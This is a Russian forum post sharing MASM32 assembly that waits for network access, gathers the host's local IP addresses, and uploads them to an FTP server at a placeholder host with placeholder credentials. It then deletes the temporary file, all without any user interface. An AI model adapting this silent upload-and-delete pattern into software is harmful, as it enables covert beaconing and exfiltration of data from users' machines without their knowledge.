Flint_ta
Сообщений: 3720
Оценки: 1120
Присоединился: 2007-01-26 15:49:18.323333
|
Писал как-то отправку ip адреса на ftp, можно легко переделать
.686
.model flat, stdcall
option casemap :none
include \MASM32\INCLUDE\user32.inc
include \MASM32\INCLUDE\kernel32.inc
include \MASM32\INCLUDE\WS2_32.inc
include \MASM32\INCLUDE\wininet.inc
include \MASM32\INCLUDE\windows.inc
includelib \MASM32\LIB\kernel32.lib
includelib \MASM32\LIB\user32.lib
includelib \MASM32\LIB\wininet.lib
includelib \MASM32\LIB\WS2_32.lib
assume fs:nothing
.data
site db "www.google.com", 0
myftp db "host.ru", 0
myftpname db "Flint_FTP", 0
login db "mylogin", 0
pass db "mypass", 0
FileFTP db "my_IP.txt", 0
.data?
hfile db HANDLE dup (?)
zapisali db LPDWORD dup (?)
wsa db WSADATA dup (?)
myname db 100 dup (?)
buff db 500 dup (?)
hINetSession db HANDLE dup (?)
hSession db HANDLE dup (?)
TempFolder db MAX_PATH dup (?)
FileLocal db MAX_PATH dup (?)
.code
start:
push offset wsa
push 0202h
call WSAStartup
cicle:
push offset site
call gethostbyname
test eax,eax
jnz estinet
push 5000
call Sleep
jmp cicle
estinet:
push offset wsa
push 0101h
call WSAStartup
push 100
push offset myname
Call gethostname
push offset myname
call gethostbyname
mov esi,dword ptr ds:[eax+0ch]
cicle2:
mov eax,dword ptr ds:[esi]
mov eax,dword ptr ds:[eax]
push eax
call inet_ntoa
push eax
push offset buff
call lstrcat
push offset buff
call lstrlenA
add eax, offset buff
mov word ptr ds:[eax],0a0dh
add esi,4
cmp dword ptr ds:[esi],0
jnz cicle2
push offset TempFolder
push MAX_PATH
Call GetTempPathA
push offset FileLocal
push 0
push 0
push offset TempFolder
call GetTempFileNameA
PUSH 0
PUSH FILE_ATTRIBUTE_NORMAL
PUSH CREATE_ALWAYS
PUSH 0
PUSH FILE_SHARE_READ or FILE_SHARE_WRITE
PUSH GENERIC_READ or GENERIC_WRITE
push offset FileLocal
call CreateFileA
mov dword ptr ds:[hfile], eax
push offset buff
Call lstrlenA
PUSH 0
push offset zapisali
push eax
push offset buff
push dword ptr ds:[hfile]
call WriteFile
push dword ptr ds:[hfile]
Call CloseHandle
push 0
push 0
push 0
push INTERNET_OPEN_TYPE_DIRECT
push offset myftpname
Call InternetOpen
mov dword ptr ds:[hINetSession], eax
push 0
push INTERNET_FLAG_PASSIVE
push INTERNET_SERVICE_FTP
push offset pass
push offset login
push INTERNET_DEFAULT_FTP_PORT
push offset myftp
push dword ptr ds:[hINetSession]
Call InternetConnect
mov dword ptr ds:[hSession], eax
push 0
push FTP_TRANSFER_TYPE_BINARY
push offset FileFTP
push offset FileLocal
push dword ptr ds:[hSession]
Call FtpPutFile
push offset FileLocal
Call DeleteFileA
push dword ptr ds:[hSession]
Call InternetCloseHandle
push dword ptr ds:[hINetSession]
Call InternetCloseHandle
PUSH 0
CALL ExitProcess
end start
|